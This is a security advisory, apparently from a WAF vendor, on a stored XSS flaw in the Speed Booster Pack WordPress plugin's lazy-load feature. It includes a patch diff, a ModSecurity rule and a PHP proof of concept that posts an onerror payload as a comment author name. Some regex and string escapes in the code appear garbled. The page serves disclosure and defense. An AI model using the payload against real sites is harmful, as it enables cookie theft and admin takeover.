Published : November 20, 2026

CVE-2026-107771: Speed Booster Pack ⚡ PageSpeed Optimization Suite <= 4.5.9.1 Unauthenticated Stored Cross-Site Scripting via Comment Author Name PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 4.5.9.1
Patched Version 4.5.9.2
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-107771:

This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Speed Booster Pack ⚡ PageSpeed Optimization Suite WordPress plugin, affecting all versions up to and including 4.5.9.1. The flaw resides in the Lazy Load media feature. An attacker can inject malicious JavaScript through the comment author name field. The script executes when an administrator or other user views a page containing the comment. The CVSS score is 5.4, indicating moderate severity.

The root cause is insufficient input sanitization and output escaping in the lazy load HTML transformation logic. Atomic Edge analysis identified the vulnerable code in the file `includes/classes/class-sbp-lazy-loader.php`. The function that processes HTML output for lazy loading uses a regular expression to replace the `src` attribute with a placeholder. The original placeholder was defined with a single-quoted attribute delimiter: `$placeholder = “data:image/svg+xml,%3Csvg xmlns=’http%3A%2F%2Fwww.w3.org/2000/svg’ style=’width:auto;height:auto’%2F%3E”;`. When an `` tag includes a `src` attribute delimited by double quotes, the replacement injects the placeholder containing single quotes without escaping. If the original `src` value contains a single quote (e.g., from a comment author name that is not properly sanitized), it can break out of the attribute context and inject arbitrary HTML or JavaScript. The regular expression `//is` does not properly handle attribute quoting and allows the injection. The vulnerable function is within the lazy loader class, specifically the loop that processes `$elements_to_be_changed` and the `preg_replace` calls at lines 147-170 in the diff.

An unauthenticated attacker can exploit this by submitting a comment with a carefully crafted author name. The comment author name field is typically not sanitized for HTML special characters in the context of lazy load processing. The attacker sets the author name to a payload such as `x’ onerror=’alert(1)`. When the comment is approved (or auto-approved), the plugin’s lazy load feature processes the page HTML. If an image tag’s `src` attribute contains the attacker’s payload, the regular expression replacement will inject the placeholder and the payload, resulting in an `` tag with an `onerror` attribute that executes the JavaScript. The attack vector is the WordPress comment submission form (typically `/wp-comments-post.php`), with the `author` parameter. The payload is stored and executed when any user (including administrators) views the page with the comment.

The patch fixes the issue by fully percent-encoding the SVG placeholder and using a callback-based regular expression to safely capture and reconstruct the `src` attribute. The new placeholder is `data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20style%3D%22width%3Aauto%3Bheight%3Aauto%22%2F%3E`, which contains no raw single or double quotes. The new `preg_replace_callback` uses a pattern that matches `src` attributes with either single or double quotes, and the callback function preserves the original quote delimiter and properly escapes the `src` value. This prevents the injection because the placeholder no longer contains quotes that can break out of the attribute context, and the `src` value is handled safely. The patch also adds a check to skip already converted elements and ensures the `loading=”lazy”` attribute is added correctly.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser. This can lead to session hijacking, theft of cookies (including authentication cookies), redirection to malicious sites, defacement, or other client-side attacks. Since the script executes when an administrator views the page, it can be used to perform privileged actions on behalf of the administrator, such as creating new administrative users or installing malicious plugins. The impact is limited to users who view the injected page, but it can affect any user role, including administrators.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/speed-booster-pack/includes/class-speed-booster-pack-activator.php
+++ b/speed-booster-pack/includes/class-speed-booster-pack-activator.php
@@ -28,11 +28,12 @@
 class Speed_Booster_Pack_Activator {

 	/**
-	 * Short Description. (use period)
+	 * Plugin activation function.
 	 *
-	 * Long Description.
+	 * This function runs when the plugin is activated.
 	 *
 	 * @since    4.0.0
+     *
 	 */
 	public static function activate() {

--- a/speed-booster-pack/includes/classes/class-sbp-lazy-loader.php
+++ b/speed-booster-pack/includes/classes/class-sbp-lazy-loader.php
@@ -119,7 +119,6 @@
 			'images.dmca.com/Badges/',
 		];
 		$lazyload_exclusions         = apply_filters( 'sbp_lazyload_exclusions', array_merge( $lazyload_exclusions, $default_lazyload_exclusions ) );
-		$placeholder                 = "data:image/svg+xml,%3Csvg xmlns='http%3A%2F%2Fwww.w3.org/2000/svg' style='width:auto;height:auto'%2F%3E";

 		// Find all images
 		preg_match_all( '/<(img|source|video|iframe)(.*?) (src=)['|"](.*?)['|"](.*?)>/is', $html, $resource_elements );
@@ -147,37 +146,49 @@
 		// Clean the possible repeated elements
 		$elements_to_be_changed = array_unique( $elements_to_be_changed );

-		// Process all elements marked as to be changed
-		foreach ( $elements_to_be_changed as $element ) {
-
-			// Change src with placeholder
-			$newElement = preg_replace(
-				"/<(img|source|iframe)(.*?) (src=)(.*?)>/is",
-				'<$1$2 $3"' . $placeholder . '" data-$3$4>',
-				$element
-			);
-
-			// change srcset
-			// $newElement = preg_replace(
-			// 	"/<(img|source|iframe)(.*?) (srcset=)(.*?)>/is",
-			// 	'<$1$2 $3"' . $placeholder . '" data-$3$4>',
-			// 	$newElement
-			// );
-
-			// add loading attribute, but only if the tag doesn't have one
-			if ( ! strpos( $newElement, 'loading=' ) ) {
-				$newElement = preg_replace(
-					"/<(img|source|video|iframe)(.*?) ?(/?)>/is",
-					'<$1$2 loading="lazy" $3>',
-					$newElement
-				);
-			}
+		// 1. Fully percent-encode the SVG placeholder (no raw single or double quotes)
+		$placeholder = "data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20style%3D%22width%3Aauto%3Bheight%3Aauto%22%2F%3E";

-			// prevent mixed content errors
-			$newElement = str_replace( 'http://', '//', $newElement );
+		// 2. Safely capture real src attributes using callback matching
+		foreach ( $elements_to_be_changed as $element ) {

-			$html = str_replace( $element, $newElement, $html );
+		    $newElement = preg_replace_callback(
+		        '/<(img|source|iframe)([^>]*?)s+src=(["'])(.*?)3([^>]*?)>/is',
+		        function ( $matches ) use ( $placeholder ) {
+		            $tag    = $matches[1];
+		            $before = $matches[2];
+		            $quote  = $matches[3]; // Preserves original opening quote delimiter
+		            $src    = $matches[4];
+		            $after  = $matches[5];
+
+		            // Skip if already converted
+		            if ( 0 === strpos( $src, 'data:image/svg' ) ) {
+		                return $matches[0];
+		            }
+
+		            $src = str_replace( 'http://', '//', $src );
+
+		            return sprintf(
+		                '<%s%s src=%s%s%s data-src=%s%s%s%s>',
+		                $tag,
+		                $before,
+		                $quote, $placeholder, $quote,
+		                $quote, $src, $quote,
+		                $after
+		            );
+		        },
+		        $element
+		    );
+
+		    if ( ! strpos( $newElement, 'loading=' ) ) {
+		        $newElement = preg_replace(
+		            '/<(img|source|video|iframe)([^>]*?)(/?)>/is',
+		            '<$1$2 loading="lazy" $3>',
+		            $newElement
+		        );
+		    }

+		    $html = str_replace( $element, $newElement, $html );
 		}

 		$this->add_noscripts( $html );
--- a/speed-booster-pack/speed-booster-pack.php
+++ b/speed-booster-pack/speed-booster-pack.php
@@ -6,7 +6,7 @@
  * Plugin Name:       Speed Booster Pack
  * Plugin URI:        https://speedboosterpack.com
  * Description:       PageSpeed optimization is vital for SEO: A faster website equals better conversions. Optimize & cache your site with this smart plugin!
- * Version:           4.5.9.1
+ * Version:           4.5.9.2
  * Author:            Optimocha
  * Author URI:        https://optimocha.com
  * License:           GPLv3 or later
@@ -24,7 +24,7 @@
 /**
  * Plugin constants.
  */
-define( 'SBP_VERSION', '4.5.9.1' ); // plugin version
+define( 'SBP_VERSION', '4.5.9.2' ); // plugin version
 define( 'SBP_PLUGIN_NAME', 'Speed Booster Pack' ); // plugin name
 define( 'SBP_PLUGIN_HOME', 'https://speedboosterpack.com/' ); // plugin home
 define( 'SBP_OWNER_NAME', 'Optimocha' ); // plugin owner name

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-107771
# Blocks Stored XSS via comment author name when Lazy Load is active.
# The attack requires a comment submission with a malicious author name.
# We match POST to wp-comments-post.php and inspect the 'author' parameter for XSS patterns.
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:2026107771,phase:2,deny,status:403,chain,msg:'CVE-2026-107771 Stored XSS via comment author',severity:'CRITICAL',tag:'CVE-2026-107771'"
  SecRule ARGS_POST:author "@detectXSS" "t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-107771 - Speed Booster Pack <= 4.5.9.1 - Unauthenticated Stored XSS via Comment Author Name

$target_url = 'http://example.com'; // Change to target WordPress site

// Step 1: Submit a comment with a malicious author name that will break out of an attribute
$comment_data = [
    'comment' => 'This is a test comment',
    'author' => "x' onerror='alert(document.cookie)",
    'email' => 'attacker@example.com',
    'url' => '',
    'comment_post_ID' => 1, // Post ID to comment on
    'comment_parent' => 0
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Comment submission HTTP code: $http_coden";

// Step 2: The comment must be approved. If auto-approval is enabled, it's already stored.
// Step 3: Trigger the lazy load processing by visiting a page with an image that will be lazy-loaded.
// The attacker's payload is in the comment author name, which may appear in the page HTML.
// For demonstration, we assume the comment is approved and the page contains an image tag.
// Visit the page to see if the XSS executes (requires browser).

// Note: This PoC assumes the plugin's Lazy load media option is enabled and comment auto-approval is on.
// Manual approval by an admin is also possible.

echo "PoC completed. Check if the comment is approved and visit the page to trigger XSS.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.